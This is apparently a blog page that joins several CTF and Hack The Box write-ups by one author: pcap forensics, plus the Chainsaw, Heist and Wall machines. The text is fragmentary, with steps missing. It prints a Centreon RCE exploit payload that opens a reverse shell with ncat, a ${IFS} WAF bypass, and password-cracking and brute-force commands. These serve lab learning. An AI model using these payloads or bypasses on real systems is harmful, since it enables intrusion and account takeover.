root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# tshark -r ./salary_traffic.pcapng -T fields -e ip.src -e dns.qry.name "dns.flags.response eq 0 and dns.qry.name contains example.test" Running as user "root" and group "root". This could be dangerous. 192.168.125.145 N3q8ryccAATIxWF+.example.test 192.168.125.145 8AoAAAAAAAB6AAAA.example.test 192.168.125.145 AAAAANY3kCg6AWnJ.example.test 192.168.125.145 Ic9uESaH5GfcRZ9l.example.test 192.168.125.145 KuuWZ/LK8Hnb\nmS+.example.test --- 192.168.125.145 GQAYQB0AGEALgB0A.example.test 192.168.125.145 HgAdAAAABQKAQDQb.example.test 192.168.125.145 KHeApTVARUGAQAgA.example.test 192.168.125.145 AAAAAA=\n.example.test root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# tshark -r ./salary_traffic.pcapng -T fields -e ip.src -e dns.qry.name "dns.flags.response eq 0 and dns.qry.name contains example.test" > out.txt Running as user "root" and group "root". This could be dangerous. root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#
Then by using a text editor I removed the ip address, .example.test and the new lines:
A secret agent was found sending a message to an unknown party. We managed to intercept network traffic but could not recover the message. Can you help us?
Solution
We’re given a pcapng file called SecretMessage.pcapng, by looking at the capture in wireshark and sorting the packets according to their protocol I noticed a bunch of ICMP requests with weird ttlnumbers:
These numbers were ASCII characters codes, I tried decoding the first 5 ones and I got EGCTF:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
root@kali:~/Desktop/EGCTF-Quals/forensics/secret-agent# python Python 2.7.16 (default, Apr 6 2019, 01:42:57) [GCC 8.3.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> print chr(69) E >>> print chr(71) G >>> print chr(67) C >>> print chr(84) T >>> print chr(70) F >>>
Doing it manually will take some time so I exported the ICMP packets as a txt:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
root@kali:~/Desktop/EGCTF-Quals/forensics/secret-agent# cat icmp_packets No. Time Source Destination Protocol Length Info 4606 106.913965051 192.168.125.138 192.168.125.143 ICMP 42 Echo (ping) request id=0x0000, seq=0/0, ttl=69 (reply in 4607)
Frame 4606: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface 0 Ethernet II, Src: Vmware_44:51:4f (00:0c:29:44:51:4f), Dst: Vmware_86:2b:43 (00:0c:29:86:2b:43) Internet Protocol Version 4, Src: 192.168.125.138, Dst: 192.168.125.143 Internet Control Message Protocol --- No. Time Source Destination Protocol Length Info 4748 110.024784457 192.168.125.143 192.168.125.138 ICMP 60 Echo (ping) reply id=0x0000, seq=0/0, ttl=128 (request in 4747)
Frame 4748: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface 0 Ethernet II, Src: Vmware_86:2b:43 (00:0c:29:86:2b:43), Dst: Vmware_44:51:4f (00:0c:29:44:51:4f) Internet Protocol Version 4, Src: 192.168.125.143, Dst: 192.168.125.138 Internet Control Message Protocol root@kali:~/Desktop/EGCTF-Quals/forensics/secret-agent#
We don’t need 128 because that’s the ttl number from the response packets so we’ll remove it by piping to grep -v "128", then finally will use echo -n on the output to produce a single line output:
I used the ASCII code tool from dcode.fr to decode the flag:
That’s it , Feedback is appreciated ! Don’t forget to read the other write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
Hey guys, today Chainsaw retired and here’s my write-up about it. It was a great machine with vulnerable smart contracts and other fun stuff. I enjoyed it and I learned a lot while solving it. It’s a Linux box and its ip is 10.10.10.142, I added it to /etc/hosts as chainsaw.htb. Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services:
root@kali:~/Desktop/HTB/boxes/chainsaw# nmap -sV -sT -sC -o nmapinitial chainsaw.htb Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-22 18:34 EET Nmap scan report for chainsaw.htb (10.10.10.142) Host is up (1.2s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rw-r--r-- 1 1001 1001 23828 Dec 05 2018 WeaponizedPing.json | -rw-r--r-- 1 1001 1001 243 Dec 12 2018 WeaponizedPing.sol |_-rw-r--r-- 1 1001 1001 44 Nov 22 05:03 address.txt | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.10.xx.xx | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 5 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 7.7p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 02:dd:8a:5d:3c:78:d4:41:ff:bb:27:39:c1:a2:4f:eb (RSA) | 256 3d:71:ff:d7:29:d5:d4:b2:a6:4f:9d:eb:91:1b:70:9f (ECDSA) |_ 256 7e:02:da:db:29:f9:d2:04:63:df:fc:91:fd:a2:5a:f2 (ED25519) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 394.56 seconds root@kali:~/Desktop/HTB/boxes/chainsaw#
We got ssh on port 22 and ftp on port 21.
FTP
Anonymous authentication was allowed on the ftp server, so let’s check what’s in there:
root@kali:~/Desktop/HTB/boxes/chainsaw# ftp chainsaw.htb Connected to chainsaw.htb. 220 (vsFTPd 3.0.3) Name (chainsaw.htb:root): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 1001 1001 23828 Dec 05 2018 WeaponizedPing.json -rw-r--r-- 1 1001 1001 243 Dec 12 2018 WeaponizedPing.sol -rw-r--r-- 1 1001 1001 44 Nov 22 05:03 address.txt 226 Directory send OK. ftp> mget * mget WeaponizedPing.json? y 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for WeaponizedPing.json (23828 bytes). 226 Transfer complete. 23828 bytes received in 0.26 secs (88.2424 kB/s) mget WeaponizedPing.sol? y 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for WeaponizedPing.sol (243 bytes). 226 Transfer complete. 243 bytes received in 0.00 secs (2.3174 MB/s) mget address.txt? y 200 PORT command successful. Consider using PASV. 150 Opening BINARY mode data connection for address.txt (44 bytes). 226 Transfer complete. 44 bytes received in 0.00 secs (421.2623 kB/s) ftp> exit 221 Goodbye. root@kali:~/Desktop/HTB/boxes/chainsaw#
WeaponizedPing.sol:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
pragma solidity ^0.4.24;
contract WeaponizedPing { string store = "google.com";
And setDomain() which takes a string and changes the value of store from whatever it was to that string:
1 2 3 4
functionsetDomain(string _value)public { store = _value; }
From the name of the contract (WeaponizedPing), I assumed that ping gets executed on store. We can control store by calling setDomain(), if the ping command doesn’t get filtered we’ll be able to inject commands and get RCE. However to do all of that we need to be able to interact with the contract in the first place.
WeaponizedPing: Interaction
Assuming that the contract is deployed on a publicly exposed ethereum node, I ran a full nmap scan to find the port on which the server is running:
1 2 3 4 5 6 7 8 9 10 11 12
root@kali:~/Desktop/HTB/boxes/chainsaw# nmap -p- -T5 chainsaw.htb --max-retries 1 -o nmapfull Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-22 19:08 EET Nmap scan report for chainsaw.htb (10.10.10.142) Host is up (2.8s latency). Not shown: 37555 closed ports, 27977 filtered ports PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 9810/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 674.00 seconds root@kali:~/Desktop/HTB/boxes/chainsaw#
I found another open port (9810), I ran a service scan on that port:
root@kali:~/Desktop/HTB/boxes/chainsaw# nmap -p 9810 -sV -sT -sC -o nmap9810 chainsaw.htb Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-22 19:24 EET Nmap scan report for chainsaw.htb (10.10.10.142) Host is up (1.7s latency).
PORT STATE SERVICE VERSION 9810/tcp open unknown | fingerprint-strings: | FourOhFourRequest: | HTTP/1.1 400 Bad Request | Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent | Access-Control-Allow-Origin: * | Access-Control-Allow-Methods: * | Content-Type: text/plain | Date: Fri, 22 Nov 2019 17:25:01 GMT | Connection: close | Request | GetRequest: | HTTP/1.1 400 Bad Request | Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent | Access-Control-Allow-Origin: * | Access-Control-Allow-Methods: * | Content-Type: text/plain | Date: Fri, 22 Nov 2019 17:24:27 GMT | Connection: close | Request | HTTPOptions: | HTTP/1.1 200 OK | Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, User-Agent | Access-Control-Allow-Origin: * | Access-Control-Allow-Methods: * | Content-Type: text/plain | Date: Fri, 22 Nov 2019 17:24:30 GMT |_ Connection: close 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port9810-TCP:V=7.70%I=7%D=11/22%Time=5DD819CA%P=x86_64-pc-linux-gnu%r(G SF:etRequest,118,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nAccess-Control-All SF:ow-Headers:\x20Origin,\x20X-Requested-With,\x20Content-Type,\x20Accept, SF:\x20User-Agent\r\nAccess-Control-Allow-Origin:\x20\*\r\nAccess-Control- SF:Allow-Methods:\x20\*\r\nContent-Type:\x20text/plain\r\nDate:\x20Fri,\x2 SF:022\x20Nov\x202019\x2017:24:27\x20GMT\r\nConnection:\x20close\r\n\r\n40 SF:0\x20Bad\x20Request")%r(HTTPOptions,100,"HTTP/1\.1\x20200\x20OK\r\nAcce SF:ss-Control-Allow-Headers:\x20Origin,\x20X-Requested-With,\x20Content-Ty SF:pe,\x20Accept,\x20User-Agent\r\nAccess-Control-Allow-Origin:\x20\*\r\nA SF:ccess-Control-Allow-Methods:\x20\*\r\nContent-Type:\x20text/plain\r\nDa SF:te:\x20Fri,\x2022\x20Nov\x202019\x2017:24:30\x20GMT\r\nConnection:\x20c SF:lose\r\n\r\n")%r(FourOhFourRequest,118,"HTTP/1\.1\x20400\x20Bad\x20Requ SF:est\r\nAccess-Control-Allow-Headers:\x20Origin,\x20X-Requested-With,\x2 SF:0Content-Type,\x20Accept,\x20User-Agent\r\nAccess-Control-Allow-Origin: SF:\x20\*\r\nAccess-Control-Allow-Methods:\x20\*\r\nContent-Type:\x20text/ SF:plain\r\nDate:\x20Fri,\x2022\x20Nov\x202019\x2017:25:01\x20GMT\r\nConne SF:ction:\x20close\r\n\r\n400\x20Bad\x20Request");
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 90.55 seconds root@kali:~/Desktop/HTB/boxes/chainsaw#
It responded to HTTP requests which means that the JSON-RPC server is HTTP based. There are a lot of ways to interact with ethereum smart contracts, I used web3 python library. (A great reference) I imported Web3 and eth:
1
from web3 import Web3, eth
Then I created a new web3 connection to http://chainsaw.htb:9810 and saved it in a variable called w3:
It’s working fine, let’s try to change the domain by using setDomain():
1
contract.functions.setDomain("test").transact()
Note: When passing arguments to functions we have to use transact() instead of call(), to use transact() we need an account, that’s why I added this line:
1
w3.eth.defaultAccount = w3.eth.accounts[0]
test.py:
1 2 3 4 5 6 7 8 9 10 11
#!/usr/bin/python3 import json from web3 import Web3, eth
There were 2 users on the box, administrator and bobby:
1 2 3 4 5 6 7 8
administrator@chainsaw:/opt/WeaponizedPing$ cd /home administrator@chainsaw:/home$ ls -al total 16 drwxr-xr-x 4 root root 4096 Dec 12 2018 . drwxr-xr-x 25 root root 4096 Dec 20 2018 .. drwxr-x--- 8 administrator administrator 4096 Dec 20 2018 administrator drwxr-x--- 9 bobby bobby 4096 Jan 23 2019 bobby administrator@chainsaw:/home$
administrator had no permission to access bobby‘s home directory:
1 2 3
administrator@chainsaw:/home$ cd bobby/ bash: cd: bobby/: Permission denied administrator@chainsaw:/home$
In administrator‘s home directory I noticed a directory called .ipfs:
I used ssh2john.py to get the hash of the key in john format then I used john with rockyou.txt to crack it:
1 2 3 4 5 6 7 8 9 10 11 12 13
root@kali:~/Desktop/HTB/boxes/chainsaw# /opt/ssh2john.py ./bobby.key.enc > bobby.key.enc.hash root@kali:~/Desktop/HTB/boxes/chainsaw# john --wordlist=/usr/share/wordlists/rockyou.txt ./bobby.key.enc.hash Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status jackychain (./bobby.key.enc) 1g 0:00:00:22 DONE (2019-11-22 21:56) 0.04380g/s 628195p/s 628195c/s 628195C/s *7¡Vamos! Session completed root@kali:~/Desktop/HTB/boxes/chainsaw#
Password: jackychain, let’s ssh into the box as bobby:
root@kali:~/Desktop/HTB/boxes/chainsaw# chmod 600 bobby.key.enc root@kali:~/Desktop/HTB/boxes/chainsaw# ssh -i bobby.key.enc [email protected] Enter passphrase for key 'bobby.key.enc': bobby@chainsaw:~$ whoami bobby bobby@chainsaw:~$ id uid=1000(bobby) gid=1000(bobby) groups=1000(bobby),30(dip) bobby@chainsaw:~$ ls -la total 52 drwxr-x--- 9 bobby bobby 4096 Jan 23 2019 . drwxr-xr-x 4 root root 4096 Dec 12 2018 .. lrwxrwxrwx 1 bobby bobby 9 Nov 30 2018 .bash_history -> /dev/null -rw-r--r-- 1 bobby bobby 220 Sep 12 2018 .bash_logout -rw-r--r-- 1 bobby bobby 3771 Sep 12 2018 .bashrc drwx------ 2 bobby bobby 4096 Nov 30 2018 .cache drwx------ 3 bobby bobby 4096 Nov 30 2018 .gnupg drwxrwxr-x 3 bobby bobby 4096 Dec 12 2018 .java drwxrwxr-x 3 bobby bobby 4096 Nov 30 2018 .local -rw-r--r-- 1 bobby bobby 807 Sep 12 2018 .profile drwxrwxr-x 3 bobby bobby 4096 Dec 20 2018 projects drwxrwxr-x 2 bobby bobby 4096 Dec 12 2018 resources drwxr-x--- 2 bobby bobby 4096 Dec 13 2018 .ssh -r--r----- 1 bobby bobby 33 Jan 23 2019 user.txt -rw-rw-r-- 1 bobby bobby 0 Dec 12 2018 .wget-hsts bobby@chainsaw:~$
We owned user.
ChainsawClub: Analysis
In bobby‘s home directory there was a directory called projects which had a project called ChainsawClub, Inside that directory there was another smart contract:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
bobby@chainsaw:~$ cd projects/ bobby@chainsaw:~/projects$ ls -al total 12 drwxrwxr-x 3 bobby bobby 4096 Dec 20 2018 . drwxr-x--- 9 bobby bobby 4096 Jan 23 2019 .. drwxrwxr-x 2 bobby bobby 4096 Jan 23 2019 ChainsawClub bobby@chainsaw:~/projects$ cd ChainsawClub/ bobby@chainsaw:~/projects/ChainsawClub$ ls -al total 156 drwxrwxr-x 2 bobby bobby 4096 Jan 23 2019 . drwxrwxr-x 3 bobby bobby 4096 Dec 20 2018 .. -rw-r--r-- 1 root root 44 Nov 22 20:04 address.txt -rwsr-xr-x 1 root root 16544 Jan 12 2019 ChainsawClub -rw-r--r-- 1 root root 126388 Jan 23 2019 ChainsawClub.json -rw-r--r-- 1 root root 1164 Jan 23 2019 ChainsawClub.sol bobby@chainsaw:~/projects/ChainsawClub$
Obviously we’ll use the smart contract to sign up, similar to what we did earlier we’ll write a python script to interact with the contract. We’ll use: setUsername() to set the username setPassword() to set the password, it has to be md5 hashed as we saw:
setApprove() to change approve from false to true transfer() to transfer coins to the user’s balance, it can’t transfer more than 1000 coins because that’s the value of totalSupply and we can’t transfer more than that:
Transferring coins is an important step because when I created a new user without transferring coins I could successfully login but it said that I didn’t have enough funds and exited.
ChainsawClub: Exploitation
I used netstat to list the open ports, 63991 was open and listening on localhost only so I assumed that it’s the port on which the contract is deployed:
1 2 3 4 5 6 7 8 9 10 11 12
bobby@chainsaw:~/projects/ChainsawClub$ netstat -ntlp (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:9810 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:63991 0.0.0.0:* LISTEN - tcp6 0 0 :::21 :::* LISTEN - tcp6 0 0 :::22 :::* LISTEN - bobby@chainsaw:~/projects/ChainsawClub$
I got the ABI of the contract like I did before:
And we have the address of the contract in address.txt I wrote the exploit and forwarded the port to my box:
1 2 3
root@kali:~/Desktop/HTB/boxes/chainsaw# ssh -L 63991:127.0.0.1:63991 -i bobby.key.enc [email protected] Enter passphrase for key 'bobby.key.enc': bobby@chainsaw:~$
The exploit is similar to the first one. ChainsawClubExploit.py:
[*] Please sign up first and then log in! [*] Entry based on merit.
Username: rick Password:
************************ * Welcome to the club! * ************************
Rule #1: Do not get excited too fast. root@chainsaw:/home/bobby/projects/ChainsawClub# root@chainsaw:/home/bobby/projects/ChainsawClub# whoami root root@chainsaw:/home/bobby/projects/ChainsawClub# id uid=0(root) gid=0(root) groups=0(root) root@chainsaw:/home/bobby/projects/ChainsawClub#
However the root flag wasn’t there:
Slack Space –> Root Flag
root.txt size is 52 bytes, the block size here is 4096 bytes which means that there are 4044 unused bytes (4096 - 52) which is called “slack space”. (Check this page, and this one). Slack space can be used to hide data, which was the case here with the root flag. I used bmap:
1
bmap --mode slack root.txt --verbose
And we owned root ! That’s it , Feedback is appreciated ! Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
Hey guys, today Heist retired and here’s my write-up about it. It’s an easy Windows machine and its ip is 10.10.10.149, I added it to /etc/hosts as heist.htb. Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services:
root@kali:~/Desktop/HTB/boxes/heist# nmap -sV -sT -sC -o nmapinitial heist.htb Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-29 12:01 EST Nmap scan report for heist.htb (10.10.10.149) Host is up (0.16s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 | http-title: Support Login Page |_Requested resource was login.php 135/tcp open msrpc Microsoft Windows RPC 445/tcp open microsoft-ds? Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 80.49 seconds root@kali:~/Desktop/HTB/boxes/heist#
We got smb and http on port 80, I also ran another scan on port 5895 to see if winrm is running and it was:
1 2 3 4 5 6 7
root@kali:~/Desktop/HTB/boxes/heist# nmap -sV -sT -p 5985 heist.htb Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-29 12:05 EST Nmap scan report for heist.htb (10.10.10.149) Host is up (0.42s latency). PORT STATE SERVICE VERSION 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.10 seconds root@kali:~/Desktop/HTB/boxes/heist#
The index page had a login form, however there was a guest login option:
After getting in as guest I got this issues page:
A user called hazard posted an issue that he’s having some problems with his Cisco router and he attached the configuration file with the issue. The configuration file had some password hashes and usernames:
version 12.2 no service pad service password-encryption ! isdn switch-type basic-5ess ! hostname ios-1 ! security passwords min-length 12 enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91 ! username rout3r password 7 0242114B0E143F015F5D1E161713 username admin privilege 15 password 7 02375012182C1A1D751618034F36415408 ! ! ip ssh authentication-retries 5 ip ssh version 2 ! ! router bgp 100 synchronization bgp log-neighbor-changes bgp dampening network 192.168.0.0 mask 300.255.255.0 timers bgp 3 9 redistribute connected ! ip classless ip route 0.0.0.0 0.0.0.0 192.168.0.1 ! ! access-list 101 permit ip any any dialer-list 1 protocol ip list 101 ! no ip http server no ip http secure-server ! line vty 0 4 session-timeout 600 authorization exec SSH transport input ssh
root@kali:~/Desktop/HTB/boxes/heist# cat hash.txt $1$pdQG$o8nrSzsGXeaduXrjlvKc91 root@kali:~/Desktop/HTB/boxes/heist# john --wordlist=/usr/share/wordlists/rockyou.txt ./hash.txt Created directory: /root/.john Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long" Use the "--format=md5crypt-long" option to force loading these as that type instead Using default input encoding: UTF-8 Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 128/128 AVX 4x3]) Press 'q' or Ctrl-C to abort, almost any other key for status stealth1agent (?) 1g 0:00:01:09 DONE (2019-11-29 12:17) 0.01440g/s 50492p/s 50492c/s 50492C/s stealth323..stealth1967 Use the "--show" option to display all of the cracked passwords reliably Session completed root@kali:~/Desktop/HTB/boxes/heist#
Enumerating Users –> Shell as Chase –> User Flag
So far we have hazard and rout3r as potential usernames and stealth1agent, $uperP@ssword, Q4)sJu\Y8qz*A3?d as potential passwords. I tried different combinations and I could authenticate to smb as hazard : stealth1agent, however there weren’t any useful shares:
1 2 3 4 5 6 7 8 9 10
root@kali:~/Desktop/HTB/boxes/heist# smbclient --list //heist.htb/ -U 'hazard' Enter WORKGROUP\hazard's password:
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC SMB1 disabled -- no workgroup available root@kali:~/Desktop/HTB/boxes/heist#
Then I could authenticate to winrm as chase : Q4)sJu\Y8qz*A3?d:
Administrator Password from Firefox Process Dump –> Shell as Administrator –> Root Flag
After enumerating the box for a while I noticed that Firefox was installed on the box which is unusual:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
*Evil-WinRM* PS C:\Users\Chase\appdata\Roaming> ls
Directory: C:\Users\Chase\appdata\Roaming Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 4/22/2019 7:14 AM Adobe d---s- 4/22/2019 7:14 AM Microsoft d----- 4/22/2019 8:01 AM Mozilla *Evil-WinRM* PS C:\Users\Chase\appdata\Roaming> cd Mozilla *Evil-WinRM* PS C:\Users\Chase\appdata\Roaming\Mozilla> ls
Directory: C:\Users\Chase\appdata\Roaming\Mozilla
Mode LastWriteTime Length Name ---- ------------- ------ ----
d----- 4/22/2019 8:01 AM Extensions d----- 4/22/2019 8:01 AM Firefox d----- 4/22/2019 8:01 AM SystemExtensionsDev *Evil-WinRM* PS C:\Users\Chase\appdata\Roaming\Mozilla>
And we owned root ! That’s it , Feedback is appreciated ! Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham Thanks for reading.
Hey guys, today Wall retired and here’s my write-up about it. It was an easy Linux machine with a web application vulnerable to RCE, WAF bypass to be able to exploit that vulnerability and a vulnerable suid binary. It’s a Linux machine and its ip is 10.10.10.157, I added it to /etc/hosts as wall.htb. Let’s jump right in !
Nmap
As always we will start with nmap to scan for open ports and services:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
root@kali:~/Desktop/HTB/boxes/wall# nmap -sV -sT -sC -o nmapinitial wall.htb Starting Nmap 7.80 ( https://nmap.org ) at 2019-12-06 13:59 EST Nmap scan report for wall.htb (10.10.10.157) Host is up (0.50s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 2e:93:41:04:23:ed:30:50:8d:0d:58:23:de:7f:2c:15 (RSA) | 256 4f:d5:d3:29:40:52:9e:62:58:36:11:06:72:85:1b:df (ECDSA) |_ 256 21:64:d0:c0:ff:1a:b4:29:0b:49:e1:11:81:b6:73:66 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 241.17 seconds root@kali:~/Desktop/HTB/boxes/wall#
We got http on port 80 and ssh on port 22. Let’s check the web service.
The only interesting thing was /monitoring, however that path was protected by basic http authentication:
I didn’t have credentials, I tried bruteforcing them but it didn’t work so I spent sometime enumerating but I couldn’t find the credentials anywhere. Turns out that by changing the request method from GET to POST we can bypass the authentication:
1 2 3 4 5 6 7
root@kali:~/Desktop/HTB/boxes/wall# curl -X POST http://wall.htb/monitoring/ <h1>This page is not ready yet !</h1> <h2>We should redirect you to the required page !</h2>
Centreon is a network, system, applicative supervision and monitoring tool. -github
Bruteforcing the credentials through the login form will require writing a script because there’s a csrf token that changes every request, alternatively we can use the API. According to the authentication part we can send a POST request to /api/index.php?action=authenticate with the credentials. In case of providing valid credentials it will respond with the authentication token, otherwise it will respond with a 403. I used wfuzz with darkweb2017-top10000.txt from seclists:
root@kali:~/Desktop/HTB/boxes/wall# wfuzz -c -X POST -d "username=admin&password=FUZZ" -w ./darkweb2017-top10000.txt http://wall.htb/centreon/api/index.php?action=authenticate
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
******************************************************** * Wfuzz 2.4 - The Web Fuzzer * ******************************************************** Target: http://wall.htb/centreon/api/index.php?action=authenticate Total requests: 10000 =================================================================== ID Response Lines Word Chars Payload =================================================================== 000000005: 403 0 L 2 W 17 Ch "qwerty" 000000006: 403 0 L 2 W 17 Ch "abc123" 000000008: 200 0 L 1 W 60 Ch "password1" 000000004: 403 0 L 2 W 17 Ch "password" 000000007: 403 0 L 2 W 17 Ch "12345678" 000000009: 403 0 L 2 W 17 Ch "1234567" 000000010: 403 0 L 2 W 17 Ch "123123" 000000001: 403 0 L 2 W 17 Ch "123456" 000000002: 403 0 L 2 W 17 Ch "123456789" 000000003: 403 0 L 2 W 17 Ch "111111" 000000011: 403 0 L 2 W 17 Ch "1234567890" 000000012: 403 0 L 2 W 17 Ch "000000" 000000013: 403 0 L 2 W 17 Ch "12345" 000000015: 403 0 L 2 W 17 Ch "1q2w3e4r5t" ^C Finishing pending requests... root@kali:~/Desktop/HTB/boxes/wall#
password1 resulted in a 200 response so its the right password:
RCE | WAF Bypass –> Shell as www-data
I checked the version of centreon and it was 19.04:
It was vulnerable to RCE (CVE-2019-13024, discovered by the author of the box) and there was an exploit for it:
payload_info = { "name": "Central", "ns_ip_address": "127.0.0.1", # this value should be 1 always "localhost[localhost]": "1", "is_default[is_default]": "0", "remote_id": "", "ssh_port": "22", "init_script": "centengine", # this value contains the payload , you can change it as you want "nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port), "nagiostats_bin": "/usr/sbin/centenginestats", "nagios_perfdata": "/var/log/centreon-engine/service-perfdata", "centreonbroker_cfg_path": "/etc/centreon-broker", "centreonbroker_module_path": "/usr/share/centreon/lib/centreon-broker", "centreonbroker_logs_path": "", "centreonconnector_path": "/usr/lib64/centreon-connector", "init_script_centreontrapd": "centreontrapd", "snmp_trapd_path_conf": "/etc/snmp/centreon_traps/", "ns_activate[ns_activate]": "1", "submitC": "Save", "id": "1", "o": "c", "centreon_token": poller_token,
}
nagios_bin is the vulnerable parameter:
1 2
# this value contains the payload , you can change it as you want "nagios_bin": "ncat -e /bin/bash {0} {1} #".format(ip, port),
I checked the configuration page and looked at the HTML source, nagios_bin is the monitoring engine binary, I tried to inject a command there:
When I tried to save the configuration I got a 403:
That’s because there’s a WAF blocking these attempts, I could bypass the WAF by replacing the spaces in the commands with ${IFS}. I saved the reverse shell payload in a file then I used wget to get the file contents and I piped it to bash. a:
root@kali:~/Desktop/HTB/boxes/wall# python exploit.py http://wall.htb/centreon/ admin password1 10.10.xx.xx 1337 [+] Retrieving CSRF token to submit the login form exploit.py:38: UserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("lxml"). This usually isn't a problem, but if you run this code on another system, or in a different virtual e nvironment, it may use a different parser and behave differently.
The code that caused this warning is on line 38 of the file exploit.py. To get rid of this warning, pass the additional argument 'features="lxml"' to the BeautifulSoup constructor.
soup = BeautifulSoup(html_content) [+] Login token is : ba28f431a995b4461731fb394eb01d79 [+] Logged In Sucssfully [+] Retrieving Poller token exploit.py:56: UserWarning: No parser was explicitly specified, so I'm using the best available HTML parser for this system ("lxml"). This usually isn't a problem, but if you run this code on another system, or in a different virtual e nvironment, it may use a different parser and behave differently.
The code that caused this warning is on line 56 of the file exploit.py. To get rid of this warning, pass the additional argument 'features="lxml"' to the BeautifulSoup constructor.
poller_soup = BeautifulSoup(poller_html) [+] Poller token is : d5702ae3de1264b0692afcef86074f07 [+] Injecting Done, triggering the payload [+] Check your netcat listener !
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
